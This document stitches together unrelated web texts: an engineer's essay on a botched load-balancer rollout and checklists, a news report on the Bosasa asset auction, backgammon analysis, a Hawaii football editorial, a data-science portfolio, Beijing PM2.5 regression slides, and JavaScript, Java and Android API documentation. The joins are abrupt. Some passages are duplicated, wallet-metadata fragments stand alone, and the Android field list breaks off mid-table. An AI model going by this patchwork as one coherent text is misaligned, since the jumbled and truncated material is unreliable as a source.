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One afternoon at work I had a meeting to release the last piece of a project that was meant to change the way our clients interacted with the backend systems. It was a fairly simple routing change at the load balancer and was expected to be done in a few minutes. Not all people invited were strictly required in the meeting, so while a few joined, others kept an eye on their respective systems for any potential misbehaviours and followed a Slack channel for constant updates.
So there I was, talking with a few people on the video call, and texting a couple more on the side.
Five minutes into the meeting, we did the change and shifted our attention to the monitoring systems to see early signs of success, or to minimize damage in the remote possibility of a failure. Twenty minutes later, we still didn’t see any activity that we’d expected or hoped for.
The nature of the change was such that it was expected to take a short period to propagate but we didn’t know, or could tell, how long exactly. So we didn’t sweat. We had theories about why it might be taking longer than usual. About thirty minutes later, we decided to involve somebody from the iOS team to simulate tests from the clients’ perspective to get some validation.
They took their sweet time to prepare their devices and simulators for the test. After about fifteen minutes, we finally tested it and saw some errors. When we dug into it, we learned that our customers had been seeing those errors in Production all this time since I made the change about fifty minutes ago! What was weird was that no whistles and bells went off, no pages were triggered, so, for a moment, we doubted if the customers did, in fact, have any negative impact. In any case, we reverted the change, just to be safe. The errors, as you’d guess, went away.
When I first learned about the impact of the incident, I felt embarrassed and a little nervous. For how business-critical this was, fifty minutes was enternity! We should have known long before that. But the guilt and embarrasment was not because it could have been avoided — that realization only came later — but because I instantly started questioning my abilities. I was trusted with it, and I was incapable of executing it. It was my lack of knowledge and technical skill, I thought, that was the problem, and my self-doubt started to eat me up. To calm down the inner voice, I even went into denial and started blaming other people for it, at least in my mind, if not in reality.
After it was all dealt with, my manager called me on my phone to have a chat. He was kind and responsible enough to reflect on it and think of ways he could have helped me. But there was one thing he mentioned which guided my thinking in the right direction.
He asked me what my plan was before I got into the meeting. How dare he ask me what the plan was, I thought. Was he hinting that I didn’t or doubting if I had a plan at all? I obviously had a plan.
Only I didn’t.
I went into the meeting assuming that I knew all that had to be done, and I didn’t anticipate anything going wrong. Saying that I didn’t anticipate is an understatement. I was so confident that nothing would go wrong that I didn’t consider any options for when it did go wrong. It wasn’t a gap in my knowledge that was the problem, but lack of thought and foresight, about the potential consequences and impact of the change on the system as a whole, both good and bad.
There were many pieces to this change and even though each one of those was fairly simple, they had to be executed in a specific order, and more importantly every one of those was cruicial to the success. And because of their fragmented nature, it was really easy to miss a couple of steps and roll down the metaphorical stairs.
Atul Gawande, in his book The Checklist Manifesto: How to Get Things Right, mentions an essay from the 1970s by philosophers Samuel Gorovitz and Alasdair MacIntyre, which talks about human fallibility. One reason they talk about for why things go wrong is “necessary fallibility”, which is when they’re beyond our capacity to control. These, by definition, can’t be prevented from happening.
But he identifies two other reasons — ignorance, the gaps in our knowledge, and ineptitude, our failure to apply the knowledge correctly.
Ignorance, if we’re willing to learn, can be reduced over time; the more time we put into something, the more we learn about it, the more knowledge we gain. But competence is something that doesn’t build over time. Getting rid of ineptitude, in other words, building competence, requires discipline, patience, and deliberate practice. In fact, there’s a case to be made that the more knowledge we possess, the more likely it is to blind ourselves to a holistic, systems thinking approach unless we’re constantly reevaluating ourselves.
Despite having the necessary knowledge to execute the task at hand, I had failed to come up with a plan, a checklist of things that I should have had in place before I jumped on it. But my mistake had a meta nature to it. I knew the importance of checklists, but had failed to put that knowledge too, which made me aware of the difference between theory and practice.
After the incident, I finally started taking the idea of checklists, the habit of note-taking, seriously. I especially note things that seem simple and obvious, because those are the ones that are likely to be missed, by everybody. If there’s one thing I’ve learned from my experience is that things that seem simple and obvious, are not necessarily easy and not so obvious.
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UPDATE: Going, going ... gone! Bosasa’s assets to be sold off in 'massive' three-day auction
by Kyle CowanHave you ever wondered what it feels like to sit in the driver's seat of the luxury German SUV of late Bosasa CEO Gavin Watson?
Or what it feel likes to maybe take an office chair, previously occupied by the now infamous former COO Angelo Agrizzi, for a spin down the halls of Bosasa's massive head office (or "smart global campus") in sunny Krugersdorp?
Now's your chance.
Bosasa's assets are to be auctioned off – everything from Watson's metallic blue BMW X5 to Massey Ferguson tractors, refrigerated trucks and bakkies, as well as quad bikes and even golf carts – are up for grabs.
All in all more than 100 commercial and passenger vehicles will be sold.
Clive Lazarus of Park Village Auctions described the sale as "having emporium-like proportion with a substantial assortment of goods" so vast it the auction will run over three days.
“From an entire copper plant, commercial properties, magnificent high-end furniture, to commercial and passenger vehicles that range from entry-level to luxury SUVs—you name it, you’ll find it," Lazarus said in a statement on Wednesday.
The bidding is set to be fierce, Lazarus added.
EXTRACT | Blessed by Bosasa: Inside Gavin Watson's 'cult rituals'
But that's not all. A smorgasbord of office furniture, artworks and paintings, Nespresso coffee machines, microwaves and deep fryers as well as dishwashers, tumble dryers, computers, laptops, televisions and high-quality camera systems, will go under the hammer.
Bosasa, as a security company, also owned large numbers of top-end security equipment, including metal detectors, handheld scanners and bulletproof vests.
But wait…there's more!
On day Two of the auction, Bosasa's extensive property portfolios will also be up for sale.
These include the corruption-accused company's head office, the "smart global campus" in Luipaardvlei, near Krugersdorp, a huge 8.2-hectare property, complete with canteen and restaurant, as well as a warehouse and large office spaces.
A 26-hectare property on which sits the Lindela Repatriation Centre, is also for sale, as well as a 9.2-hectare property on which sits Bosasa's copper plant.
The repatriation centre property includes hostel buildings, a youth development centre, a workshop and residential development.
Meanwhile, the copper plant has a copper rod production capacity of 32 tonnes per annum.
Day three will see more items from the catalogue going under the hammer.
ALSO READ: Future of corruption accused Bosasa set to be decided by Supreme Court of Appeal
Bosasa, now named African Global Operations, and its subsidiary companies were placed under voluntary liquidation in February this year.
This followed notices issued to the directors, by two major banks that operated accounts for Bosasa, that it would be closing the accounts due to the reputational risk associated with the company.
Last week, the liquidators of Bosasa – Ralph Lutchman, Tania Oosthuizen and Cloete Murray - were in the Supreme Court of Appeal (SCA) to keep Bosasa under liquidation.
The Bosasa board, led by the now late Watson, filed an urgent application in the Gauteng High Court in Johannesburg in March this year and were successful in having the liquidation set aside.
Murray and the other liquidators filed an appeal with the SCA, however, which was heard on Friday. Arguments lasted barely an hour.
In the meantime, the liquidator's powers have been extended by court order, resulting the auction of the assets.
Viewing dates are December 2 and 3 while the auction is scheduled to go ahead on December 4, 5 and 6. The full catalogue can be found here.
*This article has been updated to reflect new images and dates for the auction communicated by Park Village Auctions.


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Chain ID this wallet is used with
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encrypted keys
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This position occurs after Red opens 53 (8/3, 6/3) and White replies with 63 (24/18, 13/10).
It is easy to play this positionally with something like 13/11(20, 6/4(2) or 24/22(2), 6/4(2) and twenty years ago such plays would have been commonplace.
The bots think otherwise and very quickly start a blitz attack with 6/4(2), 3/1(2)* while White has two more exposed blots. When White fans Red wins the game immediately with a cube turn.
Any play other than 6/4(2), 3/1(2)* is a double blunder.
It is easy to play this positionally with something like 13/11(20, 6/4(2) or 24/22(2), 6/4(2) and twenty years ago such plays would have been commonplace.
The bots think otherwise and very quickly start a blitz attack with 6/4(2), 3/1(2)* while White has two more exposed blots. When White fans Red wins the game immediately with a cube turn.
Any play other than 6/4(2), 3/1(2)* is a double blunder.
Cube analysis 2-ply cubeless equity +0.504 (Money: +0.482) 0.713 0.073 0.001 - 0.287 0.017 0.000 Cubeful equities: 1. Double, take +0.912 2. Double, pass +1.000 (+0.088) 3. No double +0.761 (-0.151) Proper cube action: Double, take


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by HNN StaffHONOLULU, Hawaii (HawaiiNewsNow) -The last two head football coaches at the University of Hawaii were each fired unceremoniously after producing seven long miserable years of losing football seasons.
If someone could have predicted the next head coach would immediately turn the program around and lead his teams to three bowl games in his first four seasons, and in the fourth year have his team in position to play for the Conference Championship, even the most optimistic fan would not have wagered a bet.
But that is exactly what has happened!
Unfortunately while Coach Rolovich, his staff and his team have been hard at work creating this improbable comeback, the football program has unjustifiably suffered greatly in fan attendance at Aloha Stadium.
This football team, and everything about them, has more than earned our respect, admiration and appreciation.
In the spirit of this wonderful Thanksgiving holiday season, as a community we can show our gratitude to the coaches and players by attending the game in person.
Saturday night, 6 p.m. at Aloha Stadium vs. a very talented San Diego State for the West title of the Mountain West Conference.
This team deserves our support. Hopefully we will see you there.
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Featured below are brief descriptions of several projects I have been involved in that are relevant to data science.
Data processing, analysis, and visualization in R. I study single-celled microorganisms living in hot springs of Yellowstone National Park, USA and elsewhere around the world. One way that these heat-loving "thermophilic" microbes have adapted to life in boiling water is by making their outer layer, or cell membrane, resistant to heat or chemical stress (such as acid). I look for any patterns in the abundances and chemical structures of the lipid molecules that compose cell membranes and allow these microbes to thrive in extreme conditions. Most of my programming experience stems from writing R scripts to automate tedious, repetitive tasks, datamine output from other software, perform statistical analyses, and visualize results.
Machine learning in R. This project was part of a successful proposal to NASA Exobiology investigating the capacity of some microorganisms to perform photosynthesis in hot springs. I took our sizable database of 2500+ hot spring samples and performed multivariate analyses of geochemical measurements to create models for predicting conditions amenable to photosynthesis. A sample is shown in the R Jupyter notebook demo linked below which includes the use of conditional trees (ctree) in a training set to generate models that are then used to predict values in a test set.
Data processing and text mining in R. Checking for proper charge balance in water samples is a form of analytical quality control. This Python Jupyter notebook takes tabular water chemistry measurements, runs them through geochemical software called EQ3/6, then datamines charge balance values from potentially thousands of output files. This is a collaborative effort between myself, fellow graduate student Tucker Ely, and University of Washington Professor Mark Ghiorso as a part of the NSF-funded ENKI project to produce freely available geochemical tools.
Comparative analysis in R. As part of a proposal effort in 2013, I compared weather station climate data to round-the-clock temperature measurements of Great Boiling Springs in Gerlach, NV, made by BENTO box sensors. The goal was to demonstrate the possibility of identifying patterns in hot spring temperature that might indicate influence from air temperature and precipitation.


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$\text{PM}_{2.5}\text{, PM}_{10}\text{, SO}_2\text{, NO}_2\text{, CO, O}_3$
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Temparature, Pressure, Dew-point, Wind Speed, Wind direction, Rain
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Meteorological data are matched with the nearest weather station from the China Meteorological Administration.
We are going to discuss:
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Is there a decrease in $\mathbf{\text{PM}_{2.5}}$ concentration over the years?
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What are the factors that influence rainfall?
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What are the effects of the variables on temparature?
Before starting:
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Instead of calendar years, we shall work with seasonal years.
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4 seasons in a year:
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Spring (March - May)
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Summer (June - August)
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Autumn (September - November)
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Winter (December - February)
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Hence, for a given year and season, there are nearly 2160 observations per station.
$\mathbf{\text{PM}_{2.5}}$ concentration:
Background
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The official air-quality statistic reported that Beijing had a 9.9% decline in the annual concentration of $\text{PM}_{2.5}$ in 2016.
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It was in a sharp contrast to local experience. There was severe smog during winter’16.
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Observed $\text{PM}_{2.5}$ level is significantly impacted by the meteorological condition and presence of other pollutants. So measurements may not reflect the true situation.
Centrality measures
“Are you watching closely?”
Goal
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Try to model $\text{PM}_{2.5}$ using other variables. First consider only the winter of first year.
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Check the model assumptions.
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See how does a same model perform for different years. Also check, whether a factor of “year” improves the model.
 Try to model $log(PM_{2.5})$
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Explore relationships. May not be linear.
Piecewise linear model:
$$log(PM_{2.5})\sim\text{linear with meteorological factors and}\\ \text{piecewise linear with }log_e\text{ of }SO_2, NO_2, CO, O_3$$
| Estimate Std. Error t value Pr(>|t|)
(Intercept) 37.0150635 3.4655333 10.681 < 2e-16 ***
sin(2 * pi * No/24) -0.0762300 0.0043478 -17.533 < 2e-16 ***
cos(2 * pi * No/24) 0.0724955 0.0041475 17.479 < 2e-16 ***
log(SO2) 0.2822197 0.0086411 32.660 < 2e-16 ***
I(log(SO2) * SO2large) 0.0637371 0.0115529 5.517 3.48e-08 ***
SO2large -0.0515072 0.0361220 -1.426 0.1539
log(NO2) 0.1197390 0.0101626 11.782 < 2e-16 ***
I(log(NO2) * NO2large) 0.3560944 0.0162255 21.947 < 2e-16 ***
NO2large -1.1970848 0.0581545 -20.585 < 2e-16 ***
log(CO) 0.3853594 0.0069738 55.258 < 2e-16 ***
I(log(CO) * COlarge) 0.0104144 0.0011900 8.752 < 2e-16 ***
log(O3) -0.0208861 0.0034980 -5.971 2.39e-09 ***
DEWP 0.0429893 0.0006058 70.959 < 2e-16 ***
log(PRES) -5.4004590 0.5011932 -10.775 < 2e-16 ***
RAIN 0.2194079 0.0864746 2.537 0.0112 *
month_number 0.1214104 0.0037977 31.970 < 2e-16 ***
.... and station effects ***
---
Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1
Residual standard error: 0.4415 on 25873 degrees of freedom
Multiple R-squared: 0.8662, Adjusted R-squared: 0.866
F-statistic: 6439 on 26 and 25873 DF, p-value: < 2.2e-16
Spatio-temporal model:
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Include subject-specific random intercept for different stations.
-
Consider $AR(1)$ structure for temporal autocorrelation.
-
Model: $$log(PM_{2.5})_{it}=\text{Linear effects as before }+b_i+\epsilon_{it},\\ i=1,\ldots, 12\text{ and }t=1,\ldots, 2160,\\ b_1,\ldots, b_{12}\sim N(0, \sigma_b^2)\text{ i.i.d., }\epsilon_{it}\sim N(0, \sigma_{\epsilon}^2),\\ cor(\epsilon_{it}, \epsilon_{jt})=0\text{ for }i\ne j\text{ and }cor(\epsilon_{it}, \epsilon_{i,t+k})=\rho^k$$
Spatio-temporal model:
Random effects:
| (Intercept) Residual
StdDev: 0.1361253 0.441552
Correlation Structure: AR(1)
|Parameter estimate(s):
| Phi
0.7139503
Fixed effects:
| Value Std.Error t-value p-value
(Intercept) 37.47478 3.459479 10.83249 0.0000
sin(2 * pi * No/24) -0.07634 0.004346 -17.56476 0.0000
cos(2 * pi * No/24) 0.07215 0.004135 17.44906 0.0000
log(SO2) 0.28872 0.007337 39.35026 0.0000
I(log(SO2) * SO2large) 0.04819 0.003589 13.42904 0.0000
log(NO2) 0.11614 0.009887 11.74599 0.0000
I(log(NO2) * NO2large) 0.36453 0.014956 24.37338 0.0000
NO2large -1.22684 0.053631 -22.87568 0.0000
log(CO) 0.38499 0.006971 55.22699 0.0000
I(log(CO) * COlarge) 0.01084 0.001159 9.34849 0.0000
log(O3) -0.02004 0.003455 -5.79859 0.0000
DEWP 0.04296 0.000605 70.96695 0.0000
log(PRES) -5.44853 0.500311 -10.89029 0.0000
RAIN 0.21370 0.086396 2.47353 0.0134
month_number 0.12179 0.003787 32.16372 0.0000
Next step:
-
Now we can use this model to make predictions for next 3 winters.
-
If the distribution of $\text{PM}_{2.5}$ (given the other factors) remains same over the years, we can expect that the predictions will be similar to the actual data.
-
If there is really a decrease in $\text{PM}_{2.5}$ concentration, we can expect that the predictions will be higher than actual data.
-
If there is an increase in $\text{PM}_{2.5}$ concentration, we would expect that the predictions will be lower than actual data.
Predictions:
Plot of yearwise median of actual data and predicted values:
Checking “year” effect
Instead of fitting on the first year, we can consider model for 4 years, and check if there is any “year” effect. The result is as follows:
Fixed effects:
| Value Std.Error t-value p-value
paste(seasonal_year)2 0.12747 0.062163 2.05061 0.0463
paste(seasonal_year)3 0.17065 0.062177 2.74457 0.0087
paste(seasonal_year)4 0.22195 0.062188 3.56903 0.0009
... other effects are similar as before.
If there was a decrease, the estimates were supposed to be negative. But they are not very significant, and the values are positive.
The results indicate that the air pollution situation was not as good as the official statistic would convey, and improvement, if any, was rather uncertain.
Effects on Rainfall
-
Fit a model to predict rainfall.
-
Check accuracy on training and test data.
Effects on Rainfall
-
Fit a model to predict rainfall.
-
Check accuracy on training and test data.
Relationship with other variables:
Model 1:
-
By converting the amount of rainfall to a binary(yes-no) variable, a logit model was fitted with all the predictors.
-
The model was fitted on seasonal year 1. Seasonal year 2 was used for testing.
-
$PM_{10}$ was an insignificant predictor.
Model 1:
Fit on training data:
Model 1:
Accuracy on training data:
| Predicted |
True |
(in %) |
| |
Yes |
No |
| Yes |
20.44 |
0.41 |
| No |
79.56 |
99.59 |
Accuracy on test data:
| Predicted |
True |
(in %) |
| |
Yes |
No |
| Yes |
17.71 |
0.16 |
| No |
82.29 |
99.84 |
Model 2:
-
Similarly a Tobit model was fitted with the assumption of normal distribution.
-
Fit on training data:
Model 2:
Prediction of rainfall:
Model 2:
Accuracy on training data:
| Predicted |
True |
(in %) |
| |
Yes |
No |
| Yes |
8.83 |
0.10 |
| No |
91.17 |
99.90 |
Accuracy on test data:
| Predicted |
True |
(in %) |
| |
Yes |
No |
| Yes |
7.97 |
0.04 |
| No |
92.03 |
99.96 |
Effects on Temparature
-
Find the variables that influence temparature.
-
Check model assumptions and remove multicollinearity.
-
Check prediction errors.
Full model:
$$TEMP\sim\text{Daily trend + Yearly trend + All attributes}\\ \text{(except RAIN)}$$
Fitted on 1st seasonal year (i.e., March‘13-February‘14)
$$\text{Multiple }R^2=0.9343$$
Variable selection:
-
Forward selection: All variables except $NO_2$ were selected.
-
Backward elimination: Same result.
-
Fitted model:
$$\text{Multiple }R^2=0.9343$$
Prediction error:
| Year |
Data |
MSE |
| Seasonal year 1 |
Training data |
2.861424 |
| Seasonal year 2 |
Test data |
3.419270 |
| Seasonal year 3 |
Test data |
3.638287 |
| Seasonal year 4 |
Test data |
3.588154 |
Handle multicollinearity
Correlation structure between explanatory variables
Performing Ridge regression on the data
$$\lambda=0.9430256$$
Coefficients
Correlation
Final model
$$\text{Multiple }R^2=0.9319$$
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References:
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Dataset obtained from UCI Machine Learning Repository
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Zhang, S., Guo, B., Dong, A., He, J., Xu, Z. and Chen, S.X. (2017) Cautionary Tales on Air-Quality Improvement in Beijing. Proceedings of the Royal Society A, Volume 473, No. 2205, Pages 20170457.
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Presented by:
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Dibyendu Saha
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Riddhiman Saha
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Souhardya Ray


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attributes
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var sequence = new MonkeyBars.SequenceTask({
name:"ParallelTask",
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performTask:function(){
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Methods
- __onStateChange
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- addSubTaskAfterTask
- addSubTaskBeforeTask
- cancel
- complete
- destroy
- fault
- getTaskByName
- getTaskByTid
- has
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- onCancel
- onComplete
- onFault
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- removeSubTask
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Methods
__onStateChange
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state
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error
This method is called during the execution lifecycle of the task. It is intentionally left blank and is up to the instance to describe it functionality.
Parameters:
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state
IntegerThe current state of the task
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error
StringMessage describing error
addSubTask
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task
Adds a subtask to the groups queue. This is helpful when you want to add a sub task after instantiation.
Parameters:
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task
ObjectEither an object containing attributes of a task or an already instantiated task
Example:
var parallel = new MonkeyBars.ParallelTask();
parallel.addSubTask({
name:"subtask",
performTask:function(){
this.complete();
}
});
var simple = new MonkeyBars.simple({
name:"subtask",
performTask:function(){
this.complete();
}
});
parallel.addSubTask(simple);
addSubTaskAfterTask
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task
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afterTask
Adds a subtask after another task
Parameters:
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task
ObjectEither an object containing attributes of a task or
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afterTask
ObjectReference to an already added task
Example:
var parallel = new MonkeyBars.ParallelTask({
tasks:[task1,task3]
});
var task2 = new MonkeyBars.Task();
parallel.addTaskAfterTask(task2,task1);
addSubTaskBeforeTask
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task
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beforeTask
Very similar to addSubTaskAfterTask
except the inject task appears
before the second arguments position.
Parameters:
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task
ObjectEither an object containing attributes of a task or
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beforeTask
ObjectReference to an already added task
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Cancel the group and cancel all of its subtasks
complete
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data
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operation
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data
Object -
operation
String
Example:
var task = new MonkeyBars.Task({
performTask:function(){
this.complete();
}
});
task.start();
destroy
()
fault
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error
Calling this method to fault a task. If it is part of a group task this will also call the groups fault method passing the error up to the group.
Parameters:
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error
StringMessage associated with the cause of the fault.
Example:
var task = new MonkeyBars.Task({
performTask:function(){
var a = "a";
if(a != "b") {
this.fault("a != b");
}
}
});
task.start();
getTaskByName
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name
Return a Task object, if it exists, based on the name
passed.
Parameters:
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name
StringThe user defined name
Returns:
getTaskByTid
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tid
Return a Task object, if it exists, based on the tid
passed.
Parameters:
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tid
StringThe id of the task you want
Returns:
Example:
var parallel = new MonkeyBars.ParallelTask({
tasks:[task1,task3]
});
parallel.getTaskByTid(task1.tid);
has
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type
Checks to see if an event is registered to this object with the passed type.
Parameters:
-
type
String
Returns:
initialize
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attributes
Initialization functionality
Parameters:
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attributes
Object
off
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type
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callback
Removes an event to the object.
Parameters:
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type
String -
callback
Function
on
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type
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callback
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context
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configurable
Attaches an event to the object.
Parameters:
-
type
String -
callback
Function -
context
Object -
configurable
BooleanWhether or not you should be able to remove this listener without passing its callback reference
onCancel
()
Convenience method called when the task is canceled.
onComplete
()
Convenience method called when the task completes.
onFault
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error
Convenience method called when the task faults.
Parameters:
-
error
StringMessage describing error
onStart
()
Convenience method called when the task starts.
onSubTaskCancel
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task
Overriden from TaskGroup. As long as the group has not been canceled, when a sub task is canceled it simply moves on to the next task in the queue.
Parameters:
-
task
Task
onSubTaskComplete
-
task
Overridden from TaskGroup. As long as the group has not been canceled, when a sub task completes it starts the next sibling in the queue.
Parameters:
-
task
Task
onSubTaskFault
-
error
-
task
Called when a subtask calls its fault method.
Parameters:
-
error
StringError message.
-
task
TaskThe task that just completed
performTask
-
task
Starts the next sub task in the sequence. If overriden you need to call the
SequenceTask's prototype performTask
method.
Parameters:
-
task
Task
processSubTask
-
task
Processes a sub task and prepares it for execution. This method overwrites the tasks on change functionality. If you wish to have a sub task that handles its own change functionality then you will need to implement the partner convenience methods.
Parameters:
-
task
TaskSubtask to process
removeSubTask
-
task
Removes a task from its group. Removing the task after it has executed will have no apparent affect as it has already ran.
Parameters:
-
task
TaskThe task you wish to remove from the group.
reset
()
Resets a task to its original state
start
()
Kicks off the execution of the task by calling the tasks performTask
method.
This method can only be run once on a task.
startNextSubTask
()
Starts the next task in the queue after its previous sibling has completed.
state
()
Integer
Getter for the tasks current state. Code outside of an implementation should not set the state as this is an internal property.
Returns:
trigger
-
type
Triggers the firing of an event on an object.
Parameters:
-
type
String
Properties
_currentIndex
Integer
private
The index of the subtasks that have completed execution.
_dependencyMap
Object
private
Holds all references to event types, callbacks, contexts and configurations.
_eventMap
Object
private
Holds all references to event types, callbacks, contexts and configurations.
_processedIndex
Integer
private
An incrimented number of the tasks that have already been processed.
_state
Integer
private
The current state of the task
concurrent
Boolean
Whether or not to run the task concurrently through Web Workers
Default: false
displayName
String
Display name for task. Used in logging output.
logLevel
Integer
The default logging level for tasks
Default: 0
timeout
Integer
Time in milliseconds in which a task will time out and throw a fault
Default: undefined
type
String
The kind of task
worker
Object
This object can either be simply a reference to a custom WorkerTask extention's
constructor. Or it can be an object with a constructor key/value pair. If it is the
latter then you also have the option of passing a handler function that will be run
on the onMessage
handler of the Worker itself.
Default: undefined
Example:
var task = new MonkeyBars.Task({
...
worker:{
constructor:CustomWorker,
handler:function(e){
// called when a postMessage is posted from the task
}
},
...
});
var task = new MonkeyBars.Task({
...
worker:CustomWorker,
...
});


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public final class SetFacts
SetFacts
contains common set factories. For
each kind of set factory, we have a corresponding static method.
Note: some old set factories that used to exist as separate
classes are now static inner classes of this class. They are
provided mostly to simplify porting old code (programmers only have
to change a few import
statements).
| Nested Class Summary | |
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static class |
SetFacts.COWSetFactory<E>
Deprecated. As of jpaul 2.2, use cow(SetFactory) instead. |
static class |
SetFacts.HashSetFactory<E>
Deprecated. As of jpaul 2.2, use hash() instead. |
static class |
SetFacts.TreeSetFactory<E>
Deprecated. As of jpaul 2.2, use tree(Comparator) instead. |
| Method Summary | ||
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static
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cow(SetFactory<E> underSetFact)
Returns a set factory that generates "copy-on-write" (COW) sets. |
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static
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hash()
Returns a set factory that generates LinkedHashSet s. |
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static
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mapBased(MapFactory<E,java.lang.Object> mapFact)
Returns a set factory that generates map-backed sets. |
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static
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noCompTree()
Returns a set factory that generates sets backed by NoCompTreeMap s. |
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static
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tree(java.util.Comparator<E> comp)
Returns a set factory that generates TreeSet s. |
| Methods inherited from class java.lang.Object |
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clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Method Detail |
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public static <E> SetFactory<E> hash()
LinkedHashSet
s. LinkedHashSet
s are
great for applications that use a few large sets; in addition,
they provide predictable iteration order (identical to the
insertion order). A LinkedHashSet
is only
slightly slower than a HashSet
(iteration is
actually faster: linear in the actual size, independent of the
capacity). Therefore, in the interest o simplicity, instead
of offering a factory for plain HashSet
s, and a
factory for LinkedHashSet
s, jpaul
offers only the latter.
public static <E> SetFactory<E> tree(java.util.Comparator<E> comp)
TreeSet
s.
TreeSet
s are great for applications that use many
small sets.
public static <E> SetFactory<E> cow(SetFactory<E> underSetFact)
The internal representation of a COW set maintains a "sharing" counter to identify cases when the representation is not shared with anyone (and hence, no cloning is necessary before a mutation).
Cloning a COW set is a constant time operation. COW sets are good when it is hard to determine statically whether a clone of a set will be mutated: they delay the real cloning until the first mutation (if any).
underSetFact
- Set factory for generating the sets used
in the representation of the COW sets.public static <E> SetFactory<E> mapBased(MapFactory<E,java.lang.Object> mapFact)
null
keys, so virtually any map
factory is good as argument.
mapFact
- Factory for the maps used in the representation
of the generated sets.public static <E> SetFactory<E> noCompTree()
NoCompTreeMap
s. NoCompTreeMap
is a binary
tree-backed map that does not require a user-defined Comparator
between keys. This set
factory is good for applications that use many small trees and
when a total order Comparator
is hard to
write.
mapBased(jpaul.DataStructs.MapFactory)
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group5.trackerexpress
public static final class R.string extends java.lang.Object
| Modifier and Type | Field and Description |
|---|---|
static int |
accept |
static int |
action_add_expense |
static int |
action_add_tag |
static int |
action_bar_edit_account |
static int |
action_bar_sign_out |
static int |
action_calcel_edit_claim |
static int |
action_cancel_create_account |
static int |
action_confirm_create_account |
static int |
action_create_account |
static int |
action_create_account_short |
static int |
action_create_claim |
static int |
action_destination |
static int |
action_done_destination_popup |
static int |
action_done_selecting_tag |
static int |
action_select_tag |
static int |
action_sign_in |
static int |
action_sign_in_short |
static int |
app_name |
static int |
button_add_claim
strings for myclaims tab
|
static int |
button_add_expense |
static int |
button_add_tag
strings for taglist tab
|
static int |
button_deselect_all |
static int |
button_select_all |
static int |
common_android_wear_notification_needs_update_text
Text for notification shown when the Android Wear apps needs to be updated.
|
static int |
common_android_wear_update_text
Message in confirmation dialog informing user that they need to update
the Android Wear app [CHAR LIMIT=NONE]
|
static int |
common_android_wear_update_title
Title of confirmation dialog informing user that they need to update
the Android Wear app (from Play Store) [CHAR LIMIT=40]
|
static int |
common_google_play_services_enable_button
Button in confirmation dialog to enable Google Play services.
|
static int |
common_google_play_services_enable_text
Message in confirmation dialog informing user they need to enable
Google Play services in application settings [CHAR LIMIT=NONE]
|
static int |
common_google_play_services_enable_title
Title of confirmation dialog informing user they need to enable
Google Play services in application settings [CHAR LIMIT=40]
|
static int |
common_google_play_services_error_notification_requested_by_msg
Requested by string saying which app requested the notification.
|
static int |
common_google_play_services_install_button
Button in confirmation dialog for installing Google Play services [CHAR LIMIT=40]
|
static int |
common_google_play_services_install_text_phone
(For phones) Message in confirmation dialog informing user that
they need to install Google Play services (from Play Store) [CHAR LIMIT=NONE]
|
static int |
common_google_play_services_install_text_tablet
(For tablets) Message in confirmation dialog informing user that
they need to install Google Play services (from Play Store) [CHAR LIMIT=NONE]
|
static int |
common_google_play_services_install_title
Title of confirmation dialog informing user that they need to install
Google Play services (from Play Store) [CHAR LIMIT=40]
|
static int |
common_google_play_services_invalid_account_text
Message in confirmation dialog informing the user that they provided an invalid account.
|
static int |
common_google_play_services_invalid_account_title
Title of confirmation dialog informing the user that they provided an invalid account.
|
static int |
common_google_play_services_needs_enabling_title
Title for notification shown when GooglePlayServices needs to be enabled for an
application to work.
|
static int |
common_google_play_services_network_error_text
Message in confirmation dialog informing the user that a network error occurred.
|
static int |
common_google_play_services_network_error_title
Title of confirmation dialog informing the user that a network error occurred.
|
static int |
common_google_play_services_notification_needs_installation_title
Title for notification shown when GooglePlayServices needs to be installed
for an application to work.
|
static int |
common_google_play_services_notification_needs_update_title
Title for notification shown when GooglePlayServices needs to be updated for an
application to work.
|
static int |
common_google_play_services_notification_ticker
Title for notification shown when GooglePlayServices is unavailable [CHAR LIMIT=42]
|
static int |
common_google_play_services_sign_in_failed_text
Message in confirmation dialog informing the user that the account could not be signed in.
|
static int |
common_google_play_services_sign_in_failed_title
Title of confirmation dialog informing the user that the account could not be signed in.
|
static int |
common_google_play_services_unknown_issue
Message in confirmation dialog informing user there is an unknown issue in Google Play
services [CHAR LIMIT=NONE]
|
static int |
common_google_play_services_unsupported_text
Message in confirmation dialog informing user that Google Play services is not supported on their device [CHAR LIMIT=NONE]
|
static int |
common_google_play_services_unsupported_title
Title of confirmation dialog informing user that Google Play services is not supported on their device [CHAR LIMIT=40]
|
static int |
common_google_play_services_update_button
Button in confirmation dialog for updating Google Play services [CHAR LIMIT=40]
|
static int |
common_google_play_services_update_text
Message in confirmation dialog informing user that they need to update
Google Play services (from Play Store) [CHAR LIMIT=NONE]
|
static int |
common_google_play_services_update_title
Title of confirmation dialog informing user that they need to update
Google Play services (from Play Store) [CHAR LIMIT=40]
|
static int |
common_open_on_phone
Label for an action to open a notifications content on the phone [CHAR LIMIT=25]
|
static int |
common_signin_button_text
Sign-in button text [CHAR LIMIT=15]
|
static int |
common_signin_button_text_long
Long form sign-in button text [CHAR LIMIT=30]
|
static int |
commono_google_play_services_api_unavailable_text
Message in confirmation dialog informing the user that one of the APIs they attepmt to access is not available.
|
static int |
confirm_geolocation |
static int |
create_calendar_message |
static int |
create_calendar_title |
static int |
decline |
static int |
delete_expense |
static int |
edit_claim_delete_tag |
static int |
edit_expense |
static int |
error_email_not_unique |
static int |
error_email_taken |
static int |
error_field_required |
static int |
error_incorrect_password |
static int |
error_invalid_email |
static int |
error_invalid_name |
static int |
error_invalid_password |
static int |
error_mismatched_passwords |
static int |
hello_world |
static int |
incompleteExpenses |
static int |
nointernet |
static int |
place_autocomplete_hint |
static int |
popup_add_expense |
static int |
popup_approve |
static int |
popup_delete
strings for popups
|
static int |
popup_edit |
static int |
popup_edit_tags |
static int |
popup_global_view |
static int |
popup_return
Strings for global claims popup
|
static int |
popup_submit |
static int |
popup_view |
static int |
promote_add_tag |
static int |
promote_claim_destination_input |
static int |
promote_claim_destination_reason |
static int |
promote_claim_name
strings for edit claim
|
static int |
promote_claim_tags |
static int |
promote_claim_title |
static int |
promote_day |
static int |
promote_description |
static int |
promote_month |
static int |
promote_year |
static int |
prompt_confirm_account_password |
static int |
prompt_create_account_email |
static int |
prompt_create_account_name
Strings related to create account
|
static int |
prompt_create_account_password |
static int |
prompt_email
Strings related to login
|
static int |
prompt_password |
static int |
server_error |
static int |
